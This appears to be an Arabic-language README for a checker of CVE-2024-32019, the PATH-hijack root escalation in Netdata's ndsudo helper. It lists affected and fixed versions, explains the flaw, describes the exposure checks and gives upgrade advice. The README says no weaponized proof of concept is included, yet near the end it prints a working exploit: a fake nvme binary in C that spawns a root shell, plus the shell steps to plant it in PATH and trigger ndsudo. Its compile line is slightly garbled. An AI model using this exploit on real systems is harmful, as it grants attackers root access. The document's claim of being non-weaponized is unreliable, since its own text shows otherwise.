
إثبات مفهوم غير مسلح وفاحص لـ CVE-2024-32019، وهو تصعيد صلاحيات محلي في مساعد ndsudo الخاص بـ Netdata. تقييم التعرض، والتحقق من صحة التصحيحات، وفهم متجه الاستغلال المعتمد على PATH.
ndsudo الخاص بـ Netdataالأداة المساعدة ndsudo في Netdata (الموجودة كـ setuid root) تقيد الأوامر التي ستقوم بتشغيلها، ولكنها تحل هذه الأوامر باستخدام PATH الخاص بالمستخدم المتصل. في الإصدارات المتأثرة، يمكن لمستخدم محلي وضع ملف ثنائي ضار في بداية PATH ويجعل ndsudo ينفذه بصلاحيات الجذر. تم إصلاحه في Netdata 1.45.3 و 1.45.0-169.
المتأثر: >= 1.44.0-60, < 1.45.0-169 و >= 1.45.0, < 1.45.3 (حسب النشرة الأمنية من الجهة المطورة).
المصحح: 1.45.3 (مستقر)، 1.45.0-169 (ليلي). GitHub
تصعيد امتيازات محلي إلى الجذر على الأنظمة التي يكون فيها ndsudo مثبتًا كـ SUID ويمكن للمستخدم استدعاءه (عادةً أعضاء مجموعة netdata). NVDGitHub
ndsudo هو SUID-root ويحتوي على قائمة بيضاء للأوامر الفرعية مثل nvme-list، nvme-smart-log، إلخ.
يستدعي الملفات الثنائية الخارجية بالاسم (مثل nvme)، والتي يتم حلها عبر PATH بدلاً من استخدام المسارات المطلقة أو بحث آمن ثابت.
إذا ظهر دليل قابل للكتابة قبل مسارات النظام، يمكن للمهاجم تقديم ملف ثنائي مشابه يتم تنفيذه كجذر. GitHub
يتضمن هذا المستودع أدوات فحص غير استغلالية تقوم بـ:
فحص /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (أو أي مكان تم تثبيته فيه) لمعرفة حالة SUID/الملكية.
تعداد PATH للبحث عن أدلة قابلة للكتابة أقدم من مسارات النظام الشائعة.
تأكيد وجود أسماء الأوامر الفرعية في القائمة البيضاء التي قد يحاول ndsudo تنفيذها.
اختياريًا تشغيل ndsudo --test <subcommand> لطباعة الأمر الذي تم حله بدون تنفيذه (استخدم بحذر، اقرأ الكود أولاً). GitHub
⚠️ لم يتم تضمين أي PoC مسلح. هذا المشروع مخصص للمدافعين والباحثين لـ تقييم التعرض و التحقق من التصحيحات بمسؤولية.
قم بترقية Netdata إلى 1.45.3 (مستقر) أو 1.45.0-169 (ليلي).
كإجراء دفاع في العمق، يُفضل استخدام المسارات المطلقة أو تقليل PATH الآمن في أدوات SUID؛ وتجنب منح وصول غير ضروري إلى ndsudo. GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
نشرة Netdata الأمنية (GHSA-pmhq-4cxq-wj93). GitHub
ملخص Wiz. wiz.io
مقال Snyk. Vulnerability Guide
تسجيل MITRE/CVE. CVE